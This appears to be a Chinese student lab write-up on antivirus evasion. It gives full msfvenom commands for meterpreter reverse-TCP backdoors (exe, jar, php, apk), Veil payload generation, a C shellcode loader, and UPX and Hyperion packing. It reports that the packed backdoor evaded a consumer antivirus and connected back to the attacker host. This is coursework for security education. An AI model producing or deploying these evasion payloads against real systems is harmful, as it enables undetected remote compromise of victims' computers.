zoukankan      html  css  js  c++  java
  • 2019-2020-2 《网络对抗技术》 Exp3 免杀原理与实践

    基础问题

    1.杀软是如何检测出恶意代码的?

    • 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。

    • 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。

    • 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

    2.免杀是做什么?

    • 对恶意软件做一些处理,使它不被杀毒软件所检测出来

    3.免杀的基本方法有哪些?

    • 改变特征码
      • 只有EXE:加壳
      • 有shellcode:利用shellcode生成可执行文件
      • 有源代码:用其他语言进行重写再编译
    • 改变行为:改变通讯方式或操作模式
    • 利用现有playload手工打造一个后门程序

    4.开启杀软能绝对防止电脑中恶意代码吗?

    • 开启杀软不能绝对防止电脑中恶意代码,但可以防止绝大部分的低级的恶意代码。恶意代码技术日新月异,没有一款杀软可以保证说自己能绝对防止电脑中恶意代码。杀软只能记录到某个进程执行操作的异常情况,更新病毒库。

    实践一:方法

    1. 正确使用msf编码器

    • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考 msfvenom一些基本用法

    • 将实验二中用msf命令生成的后门程序放到 VirusTotal 中扫描结果如下

      可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。

    • 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

      • 一次编码:

        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.3.101 LPORT=xxxx -f exe > 123123123-encoded.exe
        

        -e 选择编码器,-b 是 payload 中需要清除的字符,该命令中为了使 x00' 不出现在 shellcode 中。

        VirusTotal 中扫描结果如下:

      • 十次编码:

        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.3.101 LPORT=xxxx -f exe > 123123123-encoded_10t.exe
        

        使用 -i 设置迭代次数。

        VirusTotal 中扫描结果如下:

    • 结论:

      对比发现多次编码对于免杀没有太大的帮助 并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

    2. msfvenom生成如jar之类的其他文件

    (1) msfvenom生成jar文件

    生成java后门程序:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=xxxx x> 123123123-msf-java.jar
    

    VirusTotal 中扫描结果如下:

    (2) msfvenom生成php文件

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.101 lport=xxxx x> 123123123-msf-php.php
    

    VirusTotal 中扫描结果如下:

    (3) msfvenom生成apk文件

    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.3.101 lport=523 x> 123123123-msf-apk.apk
    

    VirusTotal 中扫描结果如下:

    3. veil

    • veil 安装过程简单,没有截图。

    • 输入veil ,进入 veil 操作页面。

    • 输入use 1命令进入veil-evasion

    • 输入list进入选项列表

    • 输入命令use 22进入配置界面

    • 设置反弹连接地址和端口

      • set LHOST 192.168.3.101此处为KaliIP
      • set LPORT xxxx
      • options 查看选项。

    • 输出保存

      • 输入 generate 生成文件
      • 接着输入你想要payload的名字:veil_powershell_xxxx
      • 可以看到文件保存路径:/var/lib/veil/output/source/veil_powershell_xxxx.bat
    • 对生成的veil_powershell_xxxx.bat后门文件,VirusTotal 中扫描结果如下:

    4. 使用C + shellcode编程

    • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=xxxx -f c 生成一段 shellcode 。

    • 创建一个文件123123123_exp3_sc.c,然后如下代码写入该文件中:

      unsigned char buf[] =
      "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
      ........
      "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
      
      int main()
      {
              int (*func)() = (int(*)())buf;
              func();
      }
      
    • 使用mingw-w32将c语言文件生成exe文件

      i686-w64-mingw32-g++ NetSec/Exp3/123123123_exp3_sc.c -o
       NetSec/Exp3/123123123_exp3_sc.exe
      

    • 对生成的 123123123_exp3_sc.exe 后门文件,VirusTotal 中扫描结果如下:

    • 当想要使用windows上执行该程序时,被电脑的联想电脑管家隔离。

    5.加壳工具

    压缩壳 upx:

    • 尝试对上面的shellcode加壳:

      upx NetSec/Exp3/123123123_exp3_sc.exe -o NetSec/Exp3/123123123_exp3_sc_upx.exe
      
    • 对生成的 123123123_exp3_sc_upx.exe 后门文件,VirusTotal 中扫描结果如下:

    • 这时通过进行反弹连接,后门开启,获取了权限。

      联想电脑管家快速扫描 没有扫描出来

    加密壳 Hyperion:

    • 进行加壳,将加壳的文件复制到 /usr/share/windows-resources/hyperion/

    • 进入该目录。

    • 输入命令wine hyperion.exe -v 123123123_exp3_sc_upx.exe 123123123_exp3_sc_upx_hyperion.exe

    • 对生成的 123123123_exp3_sc_upx_hyperion.exe 后门文件,VirusTotal 中扫描结果如下:

    • 这时通过进行反弹连接,后门开启,获取了权限。

      同样,联想电脑管家快速扫描 没有扫描出来

    6. 使用其他课堂未介绍方法

    • 输入veil ,进入 veil 操作页面。

    • 输入use 1命令进入veil-evasion

    • 输入list进入选项列表

    • 选择 16) go/meterpreter/rev_tcp.py 。进入配置界面

    • 设置反弹连接地址和端口

      • set LHOST 192.168.3.101此处为KaliIP
      • set LPORT xxxx
      • options 查看选项。
    • 输出保存

      • 输入 generate 生成文件
      • 接着输入你想要payload的名字:veil_go_xxxx
      • 可以看到文件保存路径:/var/lib/veil/output/source/veil_go_xxx.exe
    • 对生成的veil_go_xxxx.exe后门文件,VirusTotal 中扫描结果如下:

    实践二:通过组合应用各种技术实现恶意代码免杀

    方式:

    • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

    环境:

    • Windows 10 1909 18363.720

    • 联想电脑管家 2.8.90.11211

    解析:

    • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=xxxx -f c 生成一段 shellcode 写入一 C 文件。

    • 使用mingw-w32将c语言文件生成exe文件

      i686-w64-mingw32-g++ NetSec/Exp3/123123123_exp3_sc.c -o
       NetSec/Exp3/123123123_exp3_sc.exe
      
    • 对其加壳:

      upx NetSec/Exp3/123123123_exp3_sc.exe -o NetSec/Exp3/123123123_exp3_sc_upx.exe
      
    • 这时通过进行反弹连接,后门开启,获取了权限。

      联想电脑管家快速扫描 没有扫描出来

    实践三:另一电脑实测

    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 。

    实际上,我的虚拟机使用的是桥接模式,前一点 “组合应用” 已经实现本项,现以 Windows 7 虚拟机桥接入网再次实现。

    环境:

    • 杀软名称:联想电脑管家 2.8.90.11211
    • 电脑版本:Windows 7 64位

    方式:

    • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

    结果:

    实践总结与体会

    这一次的实验非常顺利,无论是veil的安装,还是反弹连接的实现。最重要的是,这次我的 Windows 10 运行 msfvenom 生成的后台程序不再出现兼容性错误。上一次, msfvenom 生成的后台程序无论是x86、x64、x16都不兼容。

    这次通过大量的实验和实践,不断学习新的知识,提高自己的网络安全技术的意识。毕竟这次和上次不同,这次是开启了防火墙和杀软,已经是非常现实意义的了。

  • 相关阅读:
    URAL 2046 A
    URAL 2056 Scholarship 水题
    Codeforces Gym 100286I iSharp 水题
    Codeforces Gym H. Hell on the Markets 贪心
    Codeforces Gym 100286G Giant Screen 水题
    Codeforces Gym 100286B Blind Walk DFS
    Codeforces Gym 100286F Problem F. Fibonacci System 数位DP
    Codeforces Gym 100286A. Aerodynamics 计算几何 求二维凸包面积
    Codeforces Gym 100418K Cards 暴力打表
    Codeforces Gym 100418J Lucky tickets 数位DP
  • 原文地址:https://www.cnblogs.com/Yogile/p/12627525.html
Copyright © 2011-2022 走看看